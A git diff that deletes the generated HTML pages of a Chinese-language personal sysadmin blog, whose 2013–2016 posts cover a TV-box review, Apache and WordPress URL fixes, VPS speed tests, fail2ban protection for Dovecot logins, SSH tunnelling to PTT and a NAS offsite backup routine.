    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e5-ae-89-e5-8d-9a-e7-9b-92-e5-ad-90-e7-b0-a1-e6-98-93-e4-bd-bf-e7-94-a8-e5-bf-83-e5-be-97/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e5-ae-89-e5-8d-9a-e7-9b-92-e5-ad-90-e7-b0-a1-e6-98-93-e4-bd-bf-e7-94-a8-e5-bf-83-e5-be-97/index.html deleted file mode 100644 index df171d9b..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e5-ae-89-e5-8d-9a-e7-9b-92-e5-ad-90-e7-b0-a1-e6-98-93-e4-bd-bf-e7-94-a8-e5-bf-83-e5-be-97/index.html +++ /dev/null @@ -1,433 +0,0 @@ - - - - - - - - - - [筆記] 台灣安博盒子簡易測試心得 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] 台灣安博盒子簡易測試心得

    -
    - - - 2016-03-17 - - - - - - - - - 其他 - - - - - -
    - - -

    PCHOME買的,昨天到貨,測試一個小時左右。

    - -

    可能等到週六、日的職棒轉播看完結果再來決定要不要退,不過基本上,對這個產品滿失望的就是了。

    - -

     

    - -

    1.直播時間有落差,大約十分鐘

    - -

    2.各類視頻APP 還是跟其他的產品一樣,會碰到連線大陸很慢或者是不給看的問題

    - -

    3.晚上測試時,有的直播電視頻道會像是鬼打牆一樣,不斷跳針,就算跳出去再進來還是一樣

    - -

    4.早上(七點多)測試,晚上會跳針的頻道就OK..所以看來是廠商頻寬不夠?

    - -

    5.K歌之王這個APP來源應該也是大陸,所以其實撥MV的時候還滿卡的(CHT 雙向100M)

    - -

     

    - -

    update

    - -

    今天回家後,想測試看看平常看大陸視頻用的PPTP Server 能不能順利的看電視直播

    - -

    很可惜的是雖然可以看,但是非常卡,但是測速又有將近2M的速度,我實在無法理解為何會這樣…

    - -

    不過既然都連上了,順便看看這台的全聚合有沒有啥問題,拿來看了兩部美劇,都還滿流暢的,下載了優酷APP,看了一集韓劇也是OK的

    - -

    就在我測試完這條VPN,切回原來的中華電信雙向100線路後,發現電視直播不能看了!(大概九點多吧)

    - -

    嘗試了很多方法,每個頻道都一直在轉圈圈,無法正常收看

    - -

    用LINE問了他們客服,回答說主機掛了,香港原廠處理中

    - -

    到十一點多要去睡了還沒恢復,所以毅然決然的打包,申請退貨去了  XD

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e5-b0-87-e6-97-a5-e6-9c-9f-e8-ae-8a-e6-95-b8-date-variable-e5-8a-a0-e5-85-a5-bashrc/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e5-b0-87-e6-97-a5-e6-9c-9f-e8-ae-8a-e6-95-b8-date-variable-e5-8a-a0-e5-85-a5-bashrc/index.html deleted file mode 100644 index 37c30cd1..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e5-b0-87-e6-97-a5-e6-9c-9f-e8-ae-8a-e6-95-b8-date-variable-e5-8a-a0-e5-85-a5-bashrc/index.html +++ /dev/null @@ -1,409 +0,0 @@ - - - - - - - - - - [筆記] 將日期變數 date variable 加入 bashrc | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] 將日期變數 date variable 加入 bashrc

    -
    - - - 2015-12-22 - - - - - - - - - 未分類 - - - - - -
    - - -

     

    - -

    vim /etc/bashrc ( or /HOME_DIR/.bashrc)

    - -

    export datecode=date +"%Y%m%d"

    - -

    以後就可以直接使用 $datecode 來產生今天的日期給備份的命令用

    - -

    [root@w ~]# touch test_$datecode -[root@w ~]# ls -anaconda-ks.cfg ** test_20151222 ** yum.txt -[root@w ~]# -

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e6-96-b0-e5-ae-89-e8-a3-9d-e7-9a-84-wordpress-e6-96-87-e7-ab-a0-e7-9a-84-url-e5-a6-82-e6-9e-9c-e6-9c-89-e4-b8-ad-e6-96-87-e6-9c-83-e6-89-be-e4-b8-8d-e5-88-b0/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e6-96-b0-e5-ae-89-e8-a3-9d-e7-9a-84-wordpress-e6-96-87-e7-ab-a0-e7-9a-84-url-e5-a6-82-e6-9e-9c-e6-9c-89-e4-b8-ad-e6-96-87-e6-9c-83-e6-89-be-e4-b8-8d-e5-88-b0/index.html deleted file mode 100644 index dfb5353a..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e6-96-b0-e5-ae-89-e8-a3-9d-e7-9a-84-wordpress-e6-96-87-e7-ab-a0-e7-9a-84-url-e5-a6-82-e6-9e-9c-e6-9c-89-e4-b8-ad-e6-96-87-e6-9c-83-e6-89-be-e4-b8-8d-e5-88-b0/index.html +++ /dev/null @@ -1,429 +0,0 @@ - - - - - - - - - - [筆記] 新安裝的 Wordpress 文章的 URL 如果有中文 會找不到 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] 新安裝的 Wordpress 文章的 URL 如果有中文 會找不到

    -
    - - - 2016-04-28 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    有一台新起的VPS,裝了Wordpress 之後,如果固定網址是中文的話,會發生找不到的狀況

    - -

    在 LOG 裡面會看到類似 -> [Thu Apr 28 09:47:25 2016] [error] [client] File does not exist: /var/www/html/-\xe5\x85\xac\xe5\x8f\xb8\xe4\xbb\x8b\xe7\xb4\xb9, referer: http://abc.com.tw/ -這種錯誤,因為跟WORDPRESS有關,所以一開始我用 “wordpress URL 中文” 丟去google ,結果找到一堆說要修改 class-wp.php 的文章,測試了老半天都無法解決問題!

    - -

     

    - -

    後來想到,歸根究底,這是調用 Apache 的Rewrite功能,所以應該是mod_rewrite 這裡有問題

    - -

    改從這邊下手,原本以為是我沒安裝這個模組的關係,結果這模組似乎是預設就會安裝

    - -

    那是不是沒有啟用呢?

    - -

    又去翻了一下google ,發現要去修改這個目錄的 AllowOverRide 設定

    - -

    所以在httpd.conf 裡面 新增以下語法 -> <Directory /path_to_wordpress> -> -> -> AllowOverRide None -> -> -> </Directory> -接著重起 httpd

    - -

    再開啟中文連結,應該是都OK了!

    - -

     

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e6-98-a8-e6-97-a5-e5-b0-8f-e7-af-89vps-e6-b8-ac-e8-a9-a6/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e6-98-a8-e6-97-a5-e5-b0-8f-e7-af-89vps-e6-b8-ac-e8-a9-a6/index.html deleted file mode 100644 index 8ef7058e..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e6-98-a8-e6-97-a5-e5-b0-8f-e7-af-89vps-e6-b8-ac-e8-a9-a6/index.html +++ /dev/null @@ -1,495 +0,0 @@ - - - - - - - - - - [筆記] 昨日小築VPS 測試 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] 昨日小築VPS 測試

    -
    - - - 2015-10-13 - - - - - - - - - 未分類 - - - - - -
    - - -

    昨日小築原本是很知名的軟體下載網站,不過後來因為這類型的網站實在太多了

    - -

    有好長一陣子沒有注意這個網站的消息

    - -

    最近因為工作需求,想要找台灣的VPS空間放網站

    - -

    看到GOOGLE的關鍵字廣告中出現了昨日小築VPS的廣告

    - -

    點進去看了看,價格還算合理,比起中華電信的HiCloud 算是OK的

    - -

    想說那就來申請看看吧!

    - -

    不過可惜的是,不能夠直接在網站上申請、開通

    - -

    要發信件給管理者,說明要申請的規格,再由管理者開通後台

    - -

    我覺得這部分應該可以再改進,像國外的VPS (比如說DigitalOcean的Droplet)那樣方便最好了!

    - -

    雖然說都要透過信件聯絡,不過在上班時間內,信件回覆的速度是很快的

    - -

    而且管理者都會幫忙處理一些狀況,像是安裝OS之類的,算是很不錯的服務!

    - -

    底下是在VPS裡面的一些測試狀況 -> [root@vpn speedtest-cli-0.3.2]# ./speedtest_cli.py -> -> Retrieving speedtest.net configuration… -> -> Retrieving speedtest.net server list… -> -> Testing from HiNet (118.163.155.241)… -> -> Selecting best server based on latency… -> -> Hosted by China Mobile Group GanSu Co.Ltd (Lanzhou) [158.10 km]: 75.068 ms -> -> Testing download speed…………………………………. -> -> Download: 64.30 Mbit/s -> -> Testing upload speed………………………………………….. -> -> Upload: 29.15 Mbit/s -> -> -> [root@vpn speedtest-cli-0.3.2]# dd if=/dev/zero of=testfile bs=1024 count=1000000 -> -> 1000000+0 records in -> -> 1000000+0 records out -> -> 1024000000 bytes (1.0 GB) copied, 6.33015 s, 162 MB/s -> -> [root@vpn speedtest-cli-0.3.2]# dd if=/dev/zero of=testfile bs=1024 count=5000000 -> -> 5000000+0 records in -> -> 5000000+0 records out -> -> 5120000000 bytes (5.1 GB) copied, 21.3595 s, 240 MB/s -> -> [root@vpn speedtest-cli-0.3.2]# -> -> -> [root@vpn speedtest-cli-0.3.2]# traceroute 8.8.8.8 -> -> traceroute to 8.8.8.8 (8.8.8.8), 30 hops max, 60 byte packets -> -> 1  118-163-155-254.HINET-IP.hinet.net (118.163.155.254)  1.518 ms  1.526 ms  1.551 ms -> -> 2  tchn-3301.hinet.net (168.95.228.146)  12.821 ms  12.819 ms  12.807 ms -> -> 3  tchn-3012.hinet.net (220.128.17.234)  4.586 ms tchn-3011.hinet.net (220.128.16.230)  3.756 ms tchn-3012.hinet.net (220.128.17.234)  4.588 ms -> -> 4  chch-3012.hinet.net (220.128.17.29)  5.572 ms  5.651 ms chch-3011.hinet.net (220.128.16.29)  6.610 ms -> -> 5  chch-3301.hinet.net (220.128.18.169)  1.999 ms chch-3301.hinet.net (220.128.19.185)  1.736 ms chch-3301.hinet.net (220.128.18.169)  1.963 ms -> -> 6  72.14.243.254 (72.14.243.254)  5.427 ms  5.674 ms 72.14.205.150 (72.14.205.150)  5.819 ms -> -> 7  209.85.243.30 (209.85.243.30)  11.113 ms  11.512 ms  11.515 ms -> -> 8  209.85.242.163 (209.85.242.163)  12.172 ms 209.85.240.39 (209.85.240.39)  8.797 ms  8.871 ms -> -> 9  72.14.235.77 (72.14.235.77)  11.692 ms 209.85.245.68 (209.85.245.68)  8.970 ms 72.14.237.171 (72.14.237.171)  16.844 ms -> -> 10  * * * -> -> 11  google-public-dns-a.google.com (8.8.8.8)  10.917 ms  8.533 ms  10.775 ms -> -> [root@vpn speedtest-cli-0.3.2]# - 

    - -

    目前用起來效能是挺不錯的,如果有需求,不妨考慮看看,價格換算大概在40美金左右

    - -

    當然比起DigitalOcean / Vultr / Linode 等等算是比較貴的,不過在台灣的VPS中,算是相對便宜的了!

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e7-82-ba-iredmail-e5-8a-a0-e5-85-a5-letsencrypt-e7-9a-84free-ssl-e8-aa-8d-e8-ad-89/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e7-82-ba-iredmail-e5-8a-a0-e5-85-a5-letsencrypt-e7-9a-84free-ssl-e8-aa-8d-e8-ad-89/index.html deleted file mode 100644 index 3c826b81..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e7-82-ba-iredmail-e5-8a-a0-e5-85-a5-letsencrypt-e7-9a-84free-ssl-e8-aa-8d-e8-ad-89/index.html +++ /dev/null @@ -1,421 +0,0 @@ - - - - - - - - - - [筆記] 在CentOS 為 iredmail 加入 letsencrypt 的FREE SSL 認證 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] 在CentOS 為 iredmail 加入 letsencrypt 的FREE SSL 認證

    -
    - - - 2016-05-11 - - - - - - - - - 其他 - - - - - -
    - - - - -

    在CentOS 為 iredmail 加入 letsencrypt 的FREE SSL 認證

    - -

    先升級python27 -> yum install -y centos-release-SCL -> -> yum install -y python27 -> -> </pre> -> -> <pre>alias python=python2.7 -> ->

    
    -再來,參考網友 dsp3 寫的步驟

    - -

    http://www.dsp3.org/integrating-lets-encrypt-with-iredmail/

    - -

    其實沒很難啦,LetsEncrypt 基本上會幫忙設定到好(如果用 apache的話)

    - -

    不過這樣的設定只有WEB會生效

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e7-94-a8-denyhosts-e4-be-86-e9-98-bb-e6-93-8b-dovecot-e6-9a-b4-e5-8a-9b-e6-b8-ac-e8-a9-a6-e5-b8-b3-e8-99-9f-e5-af-86-e7-a2-bc/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e7-94-a8-denyhosts-e4-be-86-e9-98-bb-e6-93-8b-dovecot-e6-9a-b4-e5-8a-9b-e6-b8-ac-e8-a9-a6-e5-b8-b3-e8-99-9f-e5-af-86-e7-a2-bc/index.html deleted file mode 100644 index 69071901..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e7-94-a8-denyhosts-e4-be-86-e9-98-bb-e6-93-8b-dovecot-e6-9a-b4-e5-8a-9b-e6-b8-ac-e8-a9-a6-e5-b8-b3-e8-99-9f-e5-af-86-e7-a2-bc/index.html +++ /dev/null @@ -1,444 +0,0 @@ - - - - - - - - - - [筆記] 用 denyhosts 來阻擋 Dovecot 暴力測試帳號密碼 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] 用 denyhosts 來阻擋 Dovecot 暴力測試帳號密碼

    -
    - - - 2015-08-28 - - - - - - - - - 未分類 - - - - - -
    - - -

    OS:FC13

    - -

    Dovecot: 1.2.16

    - -

    logfile: /var/log/secure

    - -

     

    - -

    修改 denyhosts.conf

    - -

    將 #USERDEF_FAILED_ENTRY_REGEX= 前面的 # 拿掉

    - -

    改為 -> USERDEF_FAILED_ENTRY_REGEX= pam.dovecot.(?:authentication failure).rhost=(?:::f{4,6}:)?(?P<host>\S) -理論上應該就可以了..

    - -

    - -

    不過不知道為啥,雖然語法比對有抓到IP,但是不會加入 hosts.deny

    - -

    最後實在是找不出原因,也不曉得該去哪裡問,改用 fail2ban 來處理了

    - -

    修改 /etc/fail2ban/jail.conf,加入底下這段 -> [dovecot-c] -> -> enabled = true -> -> filter = dovecot-check -> -> backend = polling -> -> action = iptables-multiport[name=dovecot-check, port=“pop3,pop3s,imap,imaps”, protocol=tcp] -> -> logpath = /var/log/secure -> -> ignoreip = 127.0.0.1 , 192.168.10.240 -> -> bantime  = 36000 -> -> findtime  = 60 -> -> maxretry = 3 - 

    - -

    找一台機器來測試看看,/var/log/fail2ban.log 有出現這樣的訊息 -> fail2ban.actions: WARNING [dovecot-c] Ban 192.168.40.233 -然後測試的Client 的 Outlook 也沒有辦法再收發信件,連密碼錯誤的訊息都不會跳出,這樣應該是成功了

    - -

     

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e7-94-a8-grep-e6-89-be-e5-87-ba-e7-ac-a6-e5-90-88-ip-address-e6-a8-a3-e5-bc-8f-e7-9a-84-e7-b4-80-e9-8c-84/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e7-94-a8-grep-e6-89-be-e5-87-ba-e7-ac-a6-e5-90-88-ip-address-e6-a8-a3-e5-bc-8f-e7-9a-84-e7-b4-80-e9-8c-84/index.html deleted file mode 100644 index 101c2133..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e7-94-a8-grep-e6-89-be-e5-87-ba-e7-ac-a6-e5-90-88-ip-address-e6-a8-a3-e5-bc-8f-e7-9a-84-e7-b4-80-e9-8c-84/index.html +++ /dev/null @@ -1,397 +0,0 @@ - - - - - - - - - - [筆記] 用 grep 找出符合 IP address樣式的紀錄 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e7-94-a8google-form-e8-a3-bd-e4-bd-9c-e7-b7-9a-e4-b8-8a-e5-a0-b1-e5-90-8d-e8-a1-a8-e5-96-ae/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e7-94-a8google-form-e8-a3-bd-e4-bd-9c-e7-b7-9a-e4-b8-8a-e5-a0-b1-e5-90-8d-e8-a1-a8-e5-96-ae/index.html deleted file mode 100644 index 2c7b292f..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e7-94-a8google-form-e8-a3-bd-e4-bd-9c-e7-b7-9a-e4-b8-8a-e5-a0-b1-e5-90-8d-e8-a1-a8-e5-96-ae/index.html +++ /dev/null @@ -1,435 +0,0 @@ - - - - - - - - - - [筆記]用google docs 製作線上報名表單 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記]用google docs 製作線上報名表單

    -
    - - - 2013-03-18 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    最近因為福委會的活動,需要做一些線上報名+統計的表單。

    - -

    本來是想說用之前做好的研討會報名表來改,但是因為版面實在差太多,於是作罷。

    - -

    自己寫嘛,又提不起勁…..So Tired

    - -

    所以咧,我記得google docs裡面似乎可以新增線上表單,那就來試試看好了。

    - -

    先登入GOOGLE DOCS,然後選擇建立–>表單

    - -

    接下來就看你怎麼設計這張表單,好了之後,可以透過郵件直接送出表單

    - -

    很可惜的是,outlook 不支援..(至少outlook 2010不支援這張表單)

    - -

    格式雖然正確,但是都無法填寫。 而且會一直出現跟google連線的視窗

    - -

    google form in outlook

    - -

     

    - -

    從上圖可以看到,不管是checkbox /radio/submit button 都無法正確顯示

    - -

    但是同樣的表單,在zimbra desktop client 是可以正常使用的

    - -

    google form in zimbra

    - -

     

    - -

    折衷的方法,就只好請給連結,讓USER自己上網去寫了。

    - -

    寫完之後,結果會自動傳到GOOGLE DOCS去統計,真的很方便

    - -

    google form result

    - -

     

    - -

    不過那個時間戳記暫時沒找到地方可以改,先放著好了。

    - -

    以後福委會的活動就都改用這樣處理了!

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e7-94-a8plink-e5-bb-ba-e7-ab-8b-ssh-tunnel-e9-80-a3ptt-e9-81-bf-e5-85-8d-e7-89-88-e9-9d-a2-e4-ba-82-e6-8e-89-e7-9a-84-e8-a7-a3-e6-b3-95/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e7-94-a8plink-e5-bb-ba-e7-ab-8b-ssh-tunnel-e9-80-a3ptt-e9-81-bf-e5-85-8d-e7-89-88-e9-9d-a2-e4-ba-82-e6-8e-89-e7-9a-84-e8-a7-a3-e6-b3-95/index.html deleted file mode 100644 index 7933b62c..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e7-94-a8plink-e5-bb-ba-e7-ab-8b-ssh-tunnel-e9-80-a3ptt-e9-81-bf-e5-85-8d-e7-89-88-e9-9d-a2-e4-ba-82-e6-8e-89-e7-9a-84-e8-a7-a3-e6-b3-95/index.html +++ /dev/null @@ -1,457 +0,0 @@ - - - - - - - - - - [筆記] 用plink 建立 ssh tunnel 連ptt 避免版面亂掉的解法 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] 用plink 建立 ssh tunnel 連ptt 避免版面亂掉的解法

    -
    - - - 2015-10-12 - - - - - - - - - 未分類 - - - - - -
    - - -

    plink -ssh -L 3333:ptt.cc:23 -C bbs@vpn.cowbay.org -P 22

    - -

    但是用預設的 pietty 設定值會出現版面亂掉的情況

    - -

    找了好久才找到下面這一篇,照著設定就可以正常顯示了。

    - -

    作者: CChess (歸位) 看板: SYSOP -標題: PuTTY設定說明 -時間: Fri Jun 27 00:21:56 2003

    - -

    ※ [本文轉錄自 chinwa 看板]

    - -

    作者: chinwa (青蛙) 看板: chinwa -標題: PuTTY設定說明 -時間: Mon Jan  6 11:11:15 2003

    - -

      -> 首先,我們要修改程式的預設設定並儲存(沒提到的保留預設值即可): -> -> -> 1. Terminal 頁: -> -> 1-1. 勾選 Enable blinking text(使PuTTY支援閃爍字); -> -> 1-2. Keyboard:The backspace key -> control-H; -> -> 1-3. Bell:Taskbar/caption indication on bell -> Flashing -> -> (如此在收到水球的話工作列上的圖示會閃爍提醒)。 -> -> -> 2. Window 頁: -> -> 2-1. When window is resized -> 當視窗大小改變,視窗內文字要如何調整? -> -> (我選Change the size of the font,文字大小會跟著改變); -> -> 2-2. Appearance:Set the font used in the terminal window -> Change… -> -> 2-2-1. 字型->細明體; -> -> 2-2-2. 字集->CHINESE_BIG5; -> -> 2-2-3. 大小->依自己喜好設定。 -> -> -> 3. Connection 頁: -> -> 3-1. SSH:Preferred SSH protocol version -> 2。 -> -> -> 4. Session 頁: -> -> 4-1. 按一下Saved Sessions裡的 Default Settings; -> -> 4-2. 按一下 Save。 - 

    - -

    節錄自 http://deargrass.pixnet.net/blog/post/28014820-putty-or-pietty-%E4%B8%8Aptt-ssh-bbs%E5%9F%BA%E6%9C%AC%E8%A8%AD%E5%AE%9A%E6%95%99%E5%AD%B8,%E4%B9%9F%E6%9C%89’%E9%98%B2

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e7-b0-a1-e5-96-ae-e5-88-a9-e7-94-a8-e9-9b-99-e6-a7-bd-e7-a1-ac-e7-a2-9f-e5-a4-96-e6-8e-a5-e5-ba-95-e5-ba-a7-e9-85-8d-e5-90-88-e7-be-a4-e6-9a-89nas-e9-81-94-e5-88-b0-e7-95-b0/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e7-b0-a1-e5-96-ae-e5-88-a9-e7-94-a8-e9-9b-99-e6-a7-bd-e7-a1-ac-e7-a2-9f-e5-a4-96-e6-8e-a5-e5-ba-95-e5-ba-a7-e9-85-8d-e5-90-88-e7-be-a4-e6-9a-89nas-e9-81-94-e5-88-b0-e7-95-b0/index.html deleted file mode 100644 index 41e1f526..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e7-b0-a1-e5-96-ae-e5-88-a9-e7-94-a8-e9-9b-99-e6-a7-bd-e7-a1-ac-e7-a2-9f-e5-a4-96-e6-8e-a5-e5-ba-95-e5-ba-a7-e9-85-8d-e5-90-88-e7-be-a4-e6-9a-89nas-e9-81-94-e5-88-b0-e7-95-b0/index.html +++ /dev/null @@ -1,484 +0,0 @@ - - - - - - - - - - [筆記] 簡單利用雙槽硬碟外接底座配合 群暉 NAS 達到異地備援 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] 簡單利用雙槽硬碟外接底座配合 群暉 NAS 達到異地備援

    -
    - - - 2013-03-26 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    前陣子的內湖機房大樓失火問題,又再次凸顯了「異地備援」的重要性。

    - -

    雖說那次的案件是頻寬方面的問題,不過也提醒我現在公司內資料備份還沒有真正異地備援的事實。

    - -

    以往作異地備援,最大的問題就是頻寬不足以及REMOTE端設備的投資費用。以現有資料量約1000G來看,即使是用中華電信的100M/100M的光纖線路,真的要sync完1000G,第一次也都要跑上好幾個小時甚至好幾天,而之後每次的sync則依照設備運算能力而定。

    - -

    一直以來,就因為這兩個問題卡著,讓異地備援在我公司內都只是個口號,毫無實際作為..So Tired

    - -

    不過,之前逛網站的時候,偶然發現一個東西

    - -

    - -

    就是這個!(學小叮噹掏口袋..

    - -

    雙插槽的硬碟外接底座!

    - -

    cyberslim-dual slot

    - -

    簡單來說,這東西可以讓你直接由A硬碟複製到B硬碟,那我的想法是什麼呢?Big Boss

    - -

    準備事項:

    - -
      -
    1. 值日人員兩枚
    2. -
    3. 備份用硬碟三枚
    4. -
    5. 機房備份紀錄表 - 
    6. -
    - -

    操作方法大概是這樣

    - -

    先把硬碟分為同步用(A硬碟) 、 B1(值日生一號)、B2(值日生二號),把B1/B2分配給值日人員

    - -

    1.在群暉NAS上有個備份功能,可以將NAS資料都備份到外接硬碟,所以設定這樣一個備份工作,將NAS資料都備份到外接硬碟A

    - -

    2.每天來上班,當天值日人員先進機房,按下同步按鈕,讓底座把A硬碟的資料抄一份到 B硬碟去,時間依資料量而定,一般來說,速度大概在4Gb/min 左右。整個同步完大概兩個小時出頭吧(印象中

    - -

    3.每天下班時,每天值日人員進機房,把B硬碟拔走帶回家。

    - -

    4.隔天值日人員上班,操作步驟二

    - -

    當然,備份記錄記得要填..

    - -

    很簡單吧,果然不愧我號稱是金頭腦呢!Big Smile

    - -

    不過,人算向來不如天算啊…

    - -

    東西買好了,計畫寫好了,開始測試,馬上就碰到問題了。

    - -

    這種底座的CLONE功能,只有在offline的時候,才能作同步,也就是說,複製的時候,底座不能和NAS連接,這樣才可以。我實在不懂這是哪門子的設計,原本的計畫,值日生只要抽換硬碟、按下同步鈕就好了,現在多了個抽拔線路的動作,抽插我會記得啦,抽拔…可能就超過我腦容量了Crying

    - -

    所以計畫A失敗,要再找其他方式

    - -

     

    - -
    - -

    在測試A計畫時,意外發現如果兩顆硬碟都接在底座上時,在NAS的備份計畫,來源可以分別選擇外接硬碟A和外接硬碟B。既然硬碟對拷的作法失敗,那就改用同步來處理。

    - -

    1.兩顆硬碟都接在底座上,在NAS備份計畫中,設定兩組備份工作,每星期一三五備份到A硬碟,二四六備份到B硬碟。

    - -

    2.值日生一號,固定就是帶走A硬碟,值日生二號,就固定帶走B硬碟。

    - -

    3.每天進辦公室,就分別依照分配的順序,把硬碟插回去/拔走,同時順便檢查另一顆硬碟在不在,可以提醒同事沒有依照計畫實行。

    - -

    理論上來說,資料會同時存在三份,NAS、底座上的硬碟、值日生帶走的硬碟。這樣的資料備援應該是足夠的了。

    - -

    要注意的地方

    - -

    1.Backup windows ,晚上十點開始備份,隔天早上九點來換硬碟,九個小時內要能同步完

    - -

    2.同步狀況要有LOG

    - -

    3.硬碟要保管好…

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
